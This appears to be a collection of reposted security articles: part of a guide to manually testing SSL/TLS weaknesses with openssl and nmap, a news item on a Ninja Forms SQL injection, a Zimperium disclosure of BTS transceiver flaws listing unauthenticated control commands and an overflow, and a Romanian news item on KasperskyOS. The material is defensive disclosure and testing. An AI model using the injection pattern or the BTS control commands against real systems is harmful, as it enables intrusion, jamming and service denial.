45 f4 8c .....B..X.p..E.. 0020 - 7d 0b 2e 1e 71 70 b0 a2-cc 27 1b 13 29 cc f5 ee }...qp...'..)... 0030 - 84 43 98 fa b1 ae 83 dc-ff 6d aa 07 9f 7a 95 4f .C.......m...z.O 0040 - 44 68 63 21 72 d7 b9 18-97 d8 8e d7 61 7d 71 6f Dhc!r.......a}qo 0050 - a7 16 85 79 f9 a2 80 2a-b4 bc f9 47 78 6a b7 08 ...y...*...Gxj.. 0060 - f6 4f 09 96 7b e8 d4 9b-26 2d 1a fd 55 fe 6a ab .O..{...&-..U.j. 0070 - fc 8d 6d 87 7a 13 e1 a9-0a 05 09 d9 ce ea fe 70 ..m.z..........p 0080 - 09 c9 5f 33 3c 5f 28 4e-20 3b 3a 10 75 c4 86 45 .._3<_(N ;:.u..E 0090 - 1d 8b c8 a5 21 89 a1 12-59 b6 0f 55 e3 48 8f 91 ....!...Y..U.H.. 00a0 - 01 af 53 b6 ..S. Compression: 1 (zlib compression) Start Time: 1348073759 Timeout : 300 (sec) Verify return code: 20 (unable to get local issuer certificate) --- For servers that have TLS compression disabled, the response will be similar to the following. The "Compression: NONE" shows that this server rejects usage of TLS-level compression. --- New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES128-GCM-SHA256 Server public key is 2048 bit Secure Renegotiation IS supported Compression: NONE Expansion: NONE SSL-Session: Protocol : TLSv1.2 Cipher : ECDHE-RSA-AES128-GCM-SHA256 Session-ID: 7E49EA6457B200B441A26C05F1AE9634AAF97284AC7A12EC58F69CEF5470B052 Session-ID-ctx: Master-Key: E035F082F5545424373A546A1F76D77673E8AEE018B3F0A3AFD7A3545746013664C18E6BB69F08BFAECA6C7FB3010C9C Key-Arg : None PSK identity: None PSK identity hint: None SRP username: None TLS session ticket lifetime hint: 100800 (seconds) TLS session ticket: 0000 - 66 72 6f 6e 74 70 61 67-65 61 61 61 61 61 61 61 frontpageaaaaaaa 0010 - 89 55 c6 6a 92 c3 28 85-86 b0 ff c3 08 12 5a a8 .U.j..(.......Z. 0020 - f2 ec f8 56 6d d3 29 99-7b 98 90 ef 57 fd c6 15 ...Vm.).{...W... 0030 - ee a2 53 4b 43 ef 19 ee-41 25 1f 76 28 37 68 b6 ..SKC...A%.v(7h. 0040 - 64 ca e7 3f 71 01 70 30-35 91 ef bc d8 19 20 4f d..?q.p05..... O 0050 - 9d 9e 2c ab 3f 35 5c 3f-65 f8 c6 9a a9 90 fa 60 ..,.?5\?e......` 0060 - 4d 53 a1 b8 49 8c e7 61-e4 6c e1 51 8e 83 b5 25 MS..I..a.l.Q...% 0070 - bc 9a 32 d8 fa be 16 a1-ae 3d 8c 0b e3 9e e4 78 ..2......=.....x 0080 - 77 d7 91 6b a9 a0 01 2b-e1 98 33 d4 2c eb b3 84 w..k...+..3.,... 0090 - f9 da 0f fa 77 df ac d6-08 b6 34 97 07 d9 b2 58 ....w.....4....X Start Time: 1428988675 Timeout : 300 (sec) Verify return code: 20 (unable to get local issuer certificate) --- Servers that support the SPDY protocol are generally vulnerable for CRIME due to the way they use cookie compression (this is supposed to be fixed in version 4). To check whether your SSL/TLS service supports SPDY use the following command and look for a line ‘Protocols advertised’. If it exists you should see the SPDY version in use, if not your server does not support SPDY. openssl s_client -nextprotoneg NULL -connect example.com:443 The following server (google.com) for example speaks spdy/3.1 as seen in the second line: CONNECTED(00000003) Protocols advertised by server: h2, spdy/3.1, http/1.1 depth=3 C = US, O = Equifax, OU = Equifax Secure Certificate Authority verify return:1 depth=2 C = US, O = GeoTrust Inc., CN = GeoTrust Global CA verify return:1 depth=1 C = US, O = Google Inc, CN = Google Internet Authority G2 verify return:1 depth=0 C = US, ST = California, L = Mountain View, O = Google Inc, CN = *.google.com verify return:1 --- Certificate chain 0 s:/C=US/ST=California/L=Mountain View/O=Google Inc/CN=*.google.com i:/C=US/O=Google Inc/CN=Google Internet Authority G2 1 s:/C=US/O=Google Inc/CN=Google Internet Authority G2 i:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA 2 s:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA i:/C=US/O=Equifax/OU=Equifax Secure Certificate Authority --- Server certificate -----BEGIN CERTIFICATE----- MIIHtTCCBp2gAwIBAgIIdI13ggMPwqowDQYJKoZIhvcNAQELBQAwSTELMAkGA1UE BhMCVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbn Breach The BREACH attack is analogous to the CRIME attack, but this time exploits the use of HTTP compression to again infer the contents of attacker-influenced requests. To test whether a server supports deflate or compression, the following steps can be performed: openssl s_client -connect example.com:443 Submitting the following will allow us to see if HTTP compression is supported by the server. GET / HTTP/1.1 Host: example.com Accept-Encoding: compress, gzip If the response contains encoded data, similar to the following response, it indicates that HTTP compression is supported; therefore the remote host is vulnerable. HTTP/1.1 200 OK Server: nginx/1.1.19 Date: Sun, 19 Mar 2015 20:48:31 GMT Content-Type: text/html Last-Modified: Thu, 19 Mar 2015 23:34:28 GMT Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip ¬ =A 0 }E /փg oP u422,f&4YĮ9 .RoKc]`|or 0 A system which does not support deflate or compression will ignore the compress header request and respond with uncompressed data, indicating that it is not vulnerable. Implementation Issues SSL/TLS is only as secure as its implementation and a number of flaws have surfaced in TLS software in recent years. This has included TLS (not SSLv3) implementations which are vulnerable to POODLE, and timing attacks such as the Lucky-13 attack. We highlight two notable implementation vulnerabilities here, but more important than their details is the message that keeping SSL/TLS software patched and up-to-date is an essential piece of the security puzzle. Heartbleed The Heartbleed bug is a result of a weakness in OpenSSL. It can be exploited to retrieve memory contents of a server/host running a vulnerable version of OpenSSL. The following versions of OpenSSL are vulnerable: OpenSSL 1.0.1 through 1.0.1f (inclusive) The following versions of OpenSSL are not vulnerable: OpenSSL >1.0.1g OpenSSL 1.0.0 branch OpenSSL 0.9.8 branch There are many scripts publicly available that can be used to test whether a system is affected by this vulnerability. Servers accessible from the internet can be tested using the Heartbleed test websites like https://filippo.io/Heartbleed/, which is run by Filippo Valsorda. Alternatively, Nmap (v6.46 and above) can be used to test this bug by using the ‘ssl-heartbleed.nse’ script. nmap -p 443 --script ssl-heartbleed --script-args vulns.showall example.com The output will be similar to the following: PORT STATE SERVICE 443/tcp open https | ssl-heartbleed: | VULNERABLE: | The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption. | State: VULNERABLE | Risk factor: High | Description: | OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves. | | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 | http://www.openssl.org/news/secadv_20140407.txt |_ http://cvedetails.com/cve/2014-0160/ Change Cipher Spec Injection A weakness exists in some versions of OpenSSL which can be exploited by intermediary third parties in order to retrieve sensitive information from encrypted communication. Affected Versions: OpenSSL 1.0.1 through 1.0.1g OpenSSL 1.0.0 through 1.0.0l all versions before OpenSSL 0.9.8y Testing requires using publicly available tools, such as the the ‘ssl-ccs-injection’ nmap script by Claudiu Perta, which can be used to test for this vulnerability. This script can be downloaded from https://nmap.org/nsedoc/scripts/ssl-ccs-injection.html. nmap -p 443 --script ssl-ccs-injection example.com Sample output: PORT STATE SERVICE 443/tcp open https | ssl-ccs-injection: | VULNERABLE: | SSL/TLS MITM vulnerability (CCS Injection) | State: VULNERABLE | Risk factor: High | Description: | OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before | 1.0.1h does not properly restrict processing of ChangeCipherSpec | messages, which allows man-in-the-middle attackers to trigger use | of a zero-length master key in certain OpenSSL-to-OpenSSL | communications, and consequently hijack sessions or obtain | sensitive information, via a crafted TLS handshake, aka the | "CCS Injection" vulnerability. | | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224 | http://www.cvedetails.com/cve/2014-0224 |_ http://www.openssl.org/news/secadv_20140605.txt Summary and Conclusions We have seen that TLS is finally taking off, improving the overall situation for the end user. At the same time we have seen that modern TLS implementations can have their security level lowered, or even completely compromised by insecure configuration. This includes the use of legacy protocols (SSLv2, SSLv3) or using weak ciphers (TripleDES/3DES, RC4, CBC ciphers, Export, anonymous, null etc.). When we communicate with our clients we often hear that possible backwards compatibility is the main reason for still supporting outdated protocol versions. However, SSLv2 was superseded in the last millennium and was finally deprecated in 2011; SSLv3 was deprecated in 2015. There really should be no reason to support either of these versions anymore. If you think your clients still require it, you are vulnerable to a whole range of security problems that have been tackled over the last decades. Rather than supporting weak ciphers and protocol versions for the sake a few potential clients or users, administrators should be looking to upgrade their server configurations to support the most secure options available. A weak configuration not only affects a few legacy clients, but everyone who uses the service. The upcoming TLSv1.3 (currently a working draft) tries to enforce this by protocol. It explicitly prohibits a server that wants to offer TLSv1.3 to respond to SSLv2 or SSLv3 requests, as well as prohibiting the use of weak ciphers and settings. This post has presented the means to manually test for some of the most common vulnerabilities and misconfigurations which can undermine the security of SSL/TLS. Addressing these should be considered a minimum for anyone configuring SSL/TLS. It should be noted that SSL/TLS and its cryptographic component are subject to constant research, which means that other attacks might exist that are not covered here. A secure SSL/TLS configuration is a moving target and additional or better attacks may be discovered in the future. References BREACH http://breachattack.com/ CVE-2015-3197: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3197 DROWN https://drownattack.com/ Freestart collision weakness: https://eprint.iacr.org/2015/967.pdf HEARTBLEED http://heartbleed.com/ LOGJAM https://weakdh.org/ Mozilla SSL Generator: https://mozilla.github.io/server-side-tls/ssl-config-generator/ POODLE: https://www.openssl.org/~bodo/ssl-poodle.pdf Schneier on Security: https://www.schneier.com/blog/archives/2013/09/how_to_remain_s.html tlsfuzzer: https://github.com/tomato42/tlsfuzzer Sursa: http://www.contextis.com/resources/blog/manually-testing-ssltls-weaknesses-2016-edition/

WordPress Plugin Fixes SQL Injection Flaw That Let Attackers Dump Site Passwords Affected plugin installed on over 600,000 WP sites Aug 22, 2016 02:35 GMT · By Catalin Cimpanu · An SQL injection vulnerability exists in the Ninja Forms WordPress plugin that is both easy to exploit and allows an attacker to dump quite a lot sensitive information from affected sites. The vulnerability affects Ninja Forms plugin versions prior to version 2.9.55.2, version where this issue was fixed. US security firm Sucuri discovered the flaw on August 11, 2016, and the Ninja Forms team fixed the problem on the same day, in 5 hours and 14 minutes after it was reported. Attackers need an account on the site first Ninja Forms is a very popular WordPress plugin developed by WP Ninjas, LLC, installed on over 600,000 sites, according to statistics provided by the WordPress Plugin Directory. According to Sucuri, in order to compromise a website, an attacker first needs to register an account on the targeted site. This requirement reduces the attack surface, but many sites allow users to register to comment on blog posts. Ninja Forms allows WordPress users to create web forms in various configurations. This is done using a drag-and-drop builder that yields shortcodes which users can embed in their content. Additional shortcodes are also provided for querying various details of the contact form. Sucuri says that an attacker can send a custom HTTP POST request to the attacked site bearing a shortcode in the form of [ninja_forms_display_sub_number id=”123′ SQL INJECTION OCCURS HERE”]and trigger an SQL injection. Attackers can pilfer usernames and passwords The SQL injection allows attackers to dump details such as the site’s usernames and hashed passwords, but sometimes WordPress secret keys. The exploitation chain is trivial, and even lesser skilled attackers can pull this off. Despite this, the Sucuri team noted a general improvement of the WordPress security model. "SQL injections tend to be trickier to find in popular plugins now than they used to be," Sucuri's Marc-Alexandre Montpas writes, "partly due to the increasing popularity of prepared statements like $wpdb->prepare()." Read more: http://news.softpedia.com/news/sql-injection-found-in-one-of-the-most-popular-wordpress-plugins-507517.shtml#ixzz4IEoDx7MZ

Analysis of multiple vulnerabilities in different open source BTS products By ZIMPERIUM zLabs Tuesday, Aug 23 2016 at 11:35 Background By:Simone Margaritelli Follow Simone Margaritelli (@evilsocket) Zimperium zLabs Follow Zimperium zLabs (@zLabsProeject) During the last weeks we’ve been investigating multiple aspects of GSM security such as protocol vulnerabilities as well as source auditing the world’s most common open source software products that run GSM networks. In this post we’ll share the details about multiple vulnerabilities in such software which allow an attacker to compromise a BTS station, crash it, or takeover its transceiver module remotely. A BTS (base transceiver station) is composed of software and radio equipment that allows mobile stations (cellular phones) to connect to the GSM, UMTS, and LTE networks. They are the equivalent of wireless access points for Wi-Fi networks and handle the “Um”[1] layer/interface as shown in Figure 1. Figure 1: A mobile station connecting to a BTS ( GNURadio OpenBTS documentation ). The lower level software behind any BTS is the transceiver, which is the direct interface to the radio hardware. It is responsible for frequency tuning and handling GMSK (Gaussian Minimum Shift Keying) data modulation/demodulation. In short, it digitizes the radio waves. All the communication and synchronization with the rest of the logical units of the BTS is handled through three UDP sockets as shown in Figure 2. Figure 2: The transceiver module and the three UDP sockets used to communicate with the rest of the BTS. The clock socket is used for timing synchronization. The command socket is used by the BTS to send commands to the transceiver module. Finally, the data socket is used to transmit GSM “bursts” (data packets) from the BTS to the radio and receive responses back. The UDPSocket class is used by the transceiver to handle all the three channels in Figure 2. Our research shows that all of the most commonly available BTS software shares the same (or a very similar) transceiver code base. Thus, all of them are affected by the same vulnerabilities. The following reports are valid for all products listed below. Such vulnerabilities would allow a malicious party to remotely control the transceiver module, thus compromising the BTS functionalities, impersonating a parallel BTS communicating with it. Moreover, it is possible for the attacker to send GSM data bursts to the transceiver itself and perform a wide range of attacks such as IMSI detaching, encryption downgrading, denial of service, etc against mobile subscribers. In order to be accepted by the transceiver module, UDP packets sent to the data channel socket must respect the following format: Once the transceiver receives these packets it will decode and modulate them using GMSK (Gaussian Minimum Shift Keying). Eventually, the bursts will be transmitted to the connected mobile stations accordingly to their contents. Even if the following products are GSM and UMTS only, the transceiver (which is a standalone component) itself is universal. Chances are that other (proprietary) BTS software uses the very same code base in order to serve LTE connectivity as well. Affected Products YateBTS <= 5.0.0 OpenBTS <= 4.0.0 OpenBTS-UMTS <= 1.0.0 Osmo-TRX/Osmo-BTS <= 0.1.10 Other products that share the same transceiver code base. Vendors Legba Incorporated (YateBTS) Range Networks (OpenBTS and OpenBTS-UMTS) OsmoCOM (Osmo-TRX and Osmo-BTS) Issue 1: Overly Exposed Service Binding Summary There’s a bug in the network library of the aforementioned products which makes the transceiver UDP sockets bind to INADDR_ANY instead of the user configured value (127.0.0.1 by default). This allows any attacker with IP connectivity to the BTS system to receive and send packets from/to the transceiver. Moreover, access to the services exposed on these UDP network sockets is not protected by any authentication mechanism whatsoever. Figure 3: The three transceiver sockets bound to 0.0.0.0 Impact An attacker with IP connectivity could send UDP traffic to exercise any functionality provided. This could allow remote control takeover, GSM traffic hijacking, various information disclosure, DoS, or worse. Details The root cause of this vulnerability (and the reason why the following vulnerabilities can be reached remotely) can be found in the UDPSocket constructor and the UDPSocket::open method in the source file CommonLibs/Sockets.cpp. This source file is present in all affected products. The following excerpt shows the vulnerable code. 256 UDPSocket::UDPSocket(unsigned short wSrcPort, 257 const char * wDestIP, unsigned short wDestPort ) 258 :DatagramSocket() 259 { 260 open(wSrcPort); 261 destination(wDestPort, wDestIP); 262 } ... 266 void UDPSocket::destination( unsigned short wDestPort, const char * wDestIP ) 267 { 268 resolveAddress((sockaddr_in*)mDestination, wDestIP, wDestPort ); 269 } In the above snippet we can see that the desired bind address is saved into the mDestination class member variable, but here’s how the UDPSocket::open method is implemented: 271 address.sin_family = AF_INET; 272 address.sin_addr.s_addr = INADDR_ANY; 273 address.sin_port = htons(localPort); 274 if (bind(mSocketFD,(struct sockaddr*)&address,length)<0) { Despite the fact that the UDPSocket class provides a constructor argument to specify the address to which to bind the server, this information is ignored. As show on line 272, the socket is bound toINADDR_ANY instead of using the mDestination address variable. Issue 2: Remote Stack-Based Buffer Overflow Summary An attacker can overflow a stack buffer by sending an oversized UDP packet to the control channel. Impact An attacker may be able to achieve remote code execution (RCE) or cause a denial of service (DoS) condition. Details The control channel is handled by the Transceiver::driveControl method in theTransceiver.cpp source file. The first lines follow. 694 void Transceiver::driveControl(size_t chan) 695 { 696 int MAX_PACKET_LENGTH = 100; 697 698 // check control socket 699 char buffer[MAX_PACKET_LENGTH]; 700 int msgLen = -1; 701 buffer[0] = '\0'; 702 703 msgLen = mCtrlSockets[chan]->read(buffer); Note that the packet buffer, which resides on the method’s stack, is defined to be 100 bytes (fromMAX_PACKET_LENGTH). If we analyze the DatagramSocket::read method (the DatagramSocket class is the parent class ofUDPSocket) declared in the Sockets.cpp source file, we see the following. 194 int DatagramSocket::read(char* buffer) 195 { 196 socklen_t temp_len = sizeof(mSource); 197 int length = recvfrom(mSocketFD, (void*)buffer, MAX_UDP_LENGTH, 0, Here we see that MAX_UDP_LENGTH bytes are read instead of MAX_PACKET_LENGTH. This value is defined in the Sockets.h file as follows. #define MAX_UDP_LENGTH 1500 /* (or 8000 for OpenBTS-UMTS) */ Therefore, it’s possible to cause a stack overflow in the transceiver process simply by sending a UDP packet larger than 100 bytes. Figure 4 shows the result of a debugging session when this occurs. Figure 4: Segmentation fault caused by a large UDP packet. Mitigation RCE can be mitigated when the appropriate flags are applied in compile time. History shows that these mitigations can be bypassed given the right vulnerability or chain of vulnerabilities (e.g. with an infoleak). Furthermore, since this software is compiled by various parties, it is likely that some of these builds do not contain sufficient mitigations (ASLR, Stack canaries, etc). If there is no impact or usage of the transceiver interface, we advise blocking this port from external connections on the firewall. Issue 3: Remote Unauthenticated Control Summary The control channel does not implement any type of authentication. Since it is exposed to the outer network due to Issue 1, this fact can be used by any malicious party to control the transceiver module remotely. Impact An attacker could… …deny service by turning the module off. …jam frequencies by tuning the TX radio to the wrong frequency. …hijack BTS identity remotely using the SETBSIC command to change the BTS identity to another one. Details The control channel implements a simple text over UDP protocol handled by theTransceiver::driveControl method in the Transceiver.cpp source file. Some of the features this protocol exposes include (remember, there is no authentication): Turning the TRX module on or off: CMD POWERON / CMD POWEROFF Tuning the TRX to other frequencies: CMD RXTUNE frequency / CMD TXTUNE frequency Setting the GSM cell identity: CMD SETBSIC value An attacker can execute such commands (and others) by simply sending UDP packets to port 5701 of the server. The full protocol specification can be found inside the TRXManager/README.TRXManager file. Conclusions, Additional Mitigations & Recommendations: We’ve demonstrated how the complete lack of any form of authentication and code bugs make the aforementioned BTS products vulnerable to a wide range of attack. We highly recommend vendors to apply the following mitigations in order to make their products safer: Update your BTS software when a patch is available. Bind the sockets used for control and data exchange only to the local interface (127.0.0.1). Firewall: Block traffic coming from external networks to ports 5701 ( control port ) and 5702 ( data port), or other ports as used by your BTS software. Be sure to apply compile time mitigations (ASLR + DEP) Implement an authentication system for such channels to deny an unprivileged attacker logged on the same machine, or on the same network, from communicating with BTS control ports. Fix buffer handling by using correct sizes. Perform additional code audits. For security and mobility professionals concerned about implications of similar attacks to corporate or BYOD devices, consider leveraging a Mobile Threat Prevention solution such as Zimperium zIPS to detect active manipulation by an unauthorized third party. Disclosure Timeline 26 April 2016: Initial disclosure email sent to vendors. 29 April 2016: Contact from OsmoBB 30 April 2016 : OsmoBB: follow up 06 May 2016: Initial notification to Zimperium Handset Alliance (ZHA). 06 May 2016: OpenBTS: bugs fixed [1] [2] 07 June 2016: Follow up with vendors 07 June 2016: OsmoBB: bug fixed 06 July 2016: Release to ZHA partners 06 July 2016: OpenBTS: Reverted overflow fix (!!) [3] 13 July 2016: OpenBTS: Reverted bind fix (!!) [4] 10 August 2016 : Commented on both “Why are you deliberately reintroducing severe security issues in your software?” (OpenBTS) 15 August 2016: OpenBTS – Follow up, no response 17 August 2016: Public Disclosure Follow Us Follow @zimperium Sursa: https://blog.zimperium.com/analysis-of-multiple-vulnerabilities-in-different-open-source-bts-products/

Kaspersky a făcut propriul sistem de operare by unacomn on 24/08/2016 Pentru cea mai mare parte a ultimilor ani nu au fost chiar atât de multe sisteme de operare, cel puțin nu în ceea ce privește tehnologia pe care sunt bazate. Realizarea unuia de la zero este un proces lung și dificil, așa că nu apar peste noapte. Dar după patru ani de muncă, Kaspersky pare să fi realizat unul. Kaspersy Labs a realizat propriul sistem de operare, KasperskyOS, construit de la zero folosind tehnologie proprie, fără să fie bazat pe Unix, Linux, Windows sau orice alt software deja existent. Sistemul de operare a fost făcut cu siguranță în minte, motiv pentru care prima sa aplicație este în routerele făcute de compania Kraftway, menite pentru sectorul industrial, instituții guvernamentale, spitale și învățământ. Fiind construit pe tehnologie complet nouă, KasperskyOS nu este atât de vulnerabil din start, iar principiile pe care a fost făcut încearcă să reducă impactul pe care îl poate avea un atac de malware asupra sistemului. Ca să nu mai spunem de beneficiile pe care le aduce lipsa unui backdoor care ar putea sau nu să fie prezent de ani de zile în fiecare alt sistem de operare. Sistemul de operare nu permite proceselor care rulează să comunice în mod anonim, nu le permite să încalce care le-a fost atribuit de politica de securitate și în general este făcut să nu lase malware să o ia razna, chiar și dacă reușește să se instaleze. Detalii complete despre acest sistem de operare ar trebui să fie disponibile în viitorul apropiat. Dacă vreți să aflați mai multe despre tehnologie, puteți arunca o privire peste planul general de acum câțiva ani. Nu se știe dacă va exista o variantă și pentru desktop, dar având în vedere cât de mulți fani are Microsoft în Rusia și restul lumii, de când cu Windows 10, nu este exclusă posibilitatea ca acest KasperskyOS să ajungă și pe PC-uri cândva. Nu de îndată, pentru că transformarea unui sistem de operare specializat într-unul pentru utilizatorul de rând este un proces mai dificil, după cum tot demonstrează și Linux, dar cândva. [The Register] Sursa: https://zonait.tv/kaspersky-a-facut-propriul-sistem-de-operare/